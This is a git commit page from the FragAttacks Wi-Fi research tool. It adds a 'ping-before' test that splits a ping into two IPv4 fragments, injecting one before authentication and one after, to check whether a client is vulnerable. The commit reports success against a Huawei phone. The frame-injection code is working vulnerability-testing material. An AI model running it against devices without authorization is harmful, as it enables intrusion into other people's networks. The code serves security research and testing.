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fragattacks: add experimental ping-before test

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This uses fragmented IPv4 packets to perfrom (variants of) the test
"ping BP" without needing to run a packet capture on the victim device.
This is accomplished by sending the first IPv4 fragment of a ping
request before authenticating, and the second IPv4 fragment after
authenticating. If the device is vulnerable, it should replay with a
ping response. Note that both ping IPv4 fragments are sent in a normal
non-fragmented Wi-Fi frame.

The test was confirmed to work against a Huawei MRD-LZ1F (Huawei Y6
2019).
This commit is contained in:
Mathy Vanhoef 2022-11-07 10:42:04 +01:00
parent 1b63ee6d23
commit 2ccd42033a
2 changed files with 58 additions and 0 deletions
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3
research/fragattack.py
View File

@ -63,6 +63,9 @@ def prepare_tests(opt):
Action(Action.Connected, enc=True)])
test = PingTest(REQ_ICMP, actions, opt=opt)
elif opt.testname == "ping-before":
test = PingBefore(REQ_ICMP, opt)
elif opt.testname == "ping-frag-sep":
# Check if we can send frames in between fragments. The seperator by default uses a different
# QoS TID. The second fragment of the ping request will NOT have an incremental PN compared

55
research/tests_experimental.py Normal file
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@ -0,0 +1,55 @@
# Copyright (c) 2022, Mathy Vanhoef <mathy.vanhoef@kuleuven.be>
#
# This code may be distributed under the terms of the BSD license.
# See README for more details.
from fraginternals import *
class PingBefore(Test):
def __init__(self, ptype, opt=None):
super().__init__([
Action(Action.BeforeAuth, action=Action.Inject, enc=False),
Action(Action.Connected, action=Action.GetIp),
Action(Action.Connected, action=Action.Inject, enc=True)
])
self.ptype = ptype
self.bcast_ra = False if opt == None else opt.bcast_ra
self.bcast_dst = False if opt == None else opt.bcast_dst
self.icmp_size = 0 if (opt == None or opt.icmp_size is None) else opt.icmp_size
# This test currently only works against clients
assert opt.ap, "This test currently only supports testing clients"
def prepare(self, station):
log(STATUS, "Generating ping-before test", color="green")
# FIXME: This only works when acting as AP. And assumes no other client
# will request an IP before this station does.
# The built-in DHCP server will pop() an IP address from the end of the list.
peerip = station.daemon.dhcp.pool[-1] # station.peerip
myip = station.daemon.arp_sender_ip
log(WARNING, "My IP is {} and client IP will be {}".format(myip, peerip))
header = station.get_header()
label = b"test_ping_icmp_"
payload = label + b"A" * min(10, max(0, self.icmp_size - len(label)))
ping = ICMP()/Raw(payload)
ip1, ip2 = fragment(IP(src=myip, dst=peerip)/ping, len(ping) // 2)
self.check_fn = lambda p: ICMP in p and label in raw(p) and p[ICMP].type == 0
frame1 = header/LLC()/SNAP()/ip1
frame2 = header.copy()/LLC()/SNAP()/ip2
if self.bcast_ra:
frame1.addr1 = "ff:ff:ff:ff:ff:ff"
if self.bcast_dst:
if header.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
frame1.addr3 = "ff:ff:ff:ff:ff:ff"
else:
frame1.addr1 = "ff:ff:ff:ff:ff:ff"
self.actions[0].frame = frame1
self.actions[2].frame = frame2